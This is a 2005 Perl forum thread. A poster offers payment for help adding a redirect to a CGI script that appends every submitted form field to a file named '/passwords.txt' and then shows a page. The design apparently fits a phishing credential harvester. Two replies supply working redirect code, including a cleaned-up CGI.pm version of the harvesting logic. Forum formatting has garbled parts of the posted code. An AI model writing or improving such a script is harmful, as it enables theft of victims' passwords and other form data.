Current location: Hot Scripts Forums » Programming Languages » Perl » Redirect to a url after the cgi has ran (willing to pay)


Redirect to a url after the cgi has ran (willing to pay)

Reply
  #1 (permalink)  
Old 11-01-05, 10:04 PM
Lambera Lambera is offline
New Member
 
Join Date: Nov 2005
Posts: 2
Thanks: 0
Thanked 0 Times in 0 Posts
Redirect to a url after the cgi has ran (willing to pay)

Ok so I am doing this project for the news Ive got everything working. What I need is at the end of this to have it be redirected to a url of my choice. What ever works. We will send paypal for a quick response that work.

Thanks!

PHP Code:

#!/usr/bin/perl

# chmod +x this file and stick it in your cgi-bin directory

#removed :)


print "Content-type: text/html\r\n\r\n";

read(STDIN$buffer$ENV{'CONTENT_LENGTH'});
@
pairs split(/&/, $buffer);
foreach 
$pair (@pairs) {
    (
$name$value) = split(/=/, $pair);
    
$value =~ tr/+/ /;
    
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C"hex($1))/eg;
    
$FORM{$name} = $value;
}
$file "/passwords.txt";
open (MAIL">>$file") or dienice("Can't access $file!\n");
print 
MAIL "\nurl = $ENV{'SERVER_NAME'}";
foreach 
$key (keys(%FORM)) {
    print 
MAIL ", $key = $FORM{$key}";
}
close(MAIL);

# return HTML message to user
print "<html><head><title>$page_title</title></head><body>";
print 
"<center>;
print "
<img src=\"/$page_image\"><br><br>";
print 
"$page_message<br><br>\n";
print 
"</body></html>"
Reply With Quote
  #2 (permalink)  
Old 11-02-05, 08:41 AM
Chas Chas is offline
Coding Addict
 
Join Date: Oct 2003
Location: California
Posts: 359
Thanks: 0
Thanked 0 Times in 0 Posts
Code:
#!/usr/bin/perl
use CGI qw//;

my $q = CGI->new;

# chmod +x this file and stick it in your cgi-bin directory

#removed :)

$file = "/passwords.txt";
open (MAIL, ">>$file") or dienice("Can't access $file!\n");
print MAIL "\nurl = $ENV{'SERVER_NAME'}";
foreach $key ($q->param) {
    print MAIL ", $key = " . $q->param($key);
}
close(MAIL);

# Redirect the user
print $q->redirect('http://www.yoursite.com/');
CGI.pm[1] will handle your redirect as well as your form processing.

~Charlie

[1] http://search.cpan.org/~lds/CGI.pm-3...RECTION_HEADER
Reply With Quote
  #3 (permalink)  
Old 11-02-05, 08:51 AM
ser ser is offline
Newbie Coder
 
Join Date: Jun 2005
Posts: 28
Thanks: 0
Thanked 0 Times in 0 Posts
Quote:
Originally Posted by Lambera
Ok so I am doing this project for the news Ive got everything working. What I need is at the end of this to have it be redirected to a url of my choice. What ever works. We will send paypal for a quick response that work.

Thanks!
PHP Code:

#!/usr/bin/perl

# chmod +x this file and stick it in your cgi-bin directory

#removed :)


print "Content-type: text/html\r\n";
# Modify time and URL in the next line
print "Refresh: 10;Url=http://whatever.com\r\n\r\n";

# Try to change \r\n to \n like below
#print "Content-type: text/html\n";
#print "Refresh: 10;Url=http://whatever.com\n\n";


read(STDIN$buffer$ENV{'CONTENT_LENGTH'});
@
pairs split(/&/, $buffer);
foreach 
$pair (@pairs) {
    (
$name$value) = split(/=/, $pair);
    
$value =~ tr/+/ /;
    
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C"hex($1))/eg;
    
$FORM{$name} = $value;
}
$file "/passwords.txt";
open (MAIL">>$file") or dienice("Can't access $file!\n");
print 
MAIL "\nurl = $ENV{'SERVER_NAME'}";
foreach 
$key (keys(%FORM)) {
    print 
MAIL ", $key = $FORM{$key}";
}
close(MAIL);

# return HTML message to user
print "<html><head><title>$page_title</title></head><body>";
# Other way to redirect with HTML tag in HEAD
# <HEAD><META HTTP-EQUIV="Refresh" Content="10;Url=http://whatever.com"></HEAD>
print "<center>;
print "
<img src=\"/$page_image\"><br><br>";
print 
"$page_message<br><br>\n";
print 
"</body></html>"
Reply With Quote
Reply

Bookmarks


Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On

Forum Jump

Similar Threads
Thread Thread Starter Forum Replies Last Post
CGI problem - Script only allows a small number of digits in my customers site url??? Ireland Perl 6 10-09-05 07:09 PM
js Redirect to cgi? jmueller0823 JavaScript 1 05-14-05 12:40 PM
How to set URL redirect? mhs12grade1992 PHP 1 02-16-05 05:06 PM
URL Redirect... jalder Script Requests 1 01-18-05 12:28 PM
Redirect to new URL... marycore ASP.NET 1 10-20-04 12:33 AM


All times are GMT -5. The time now is 04:08 AM.
vBulletin® Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.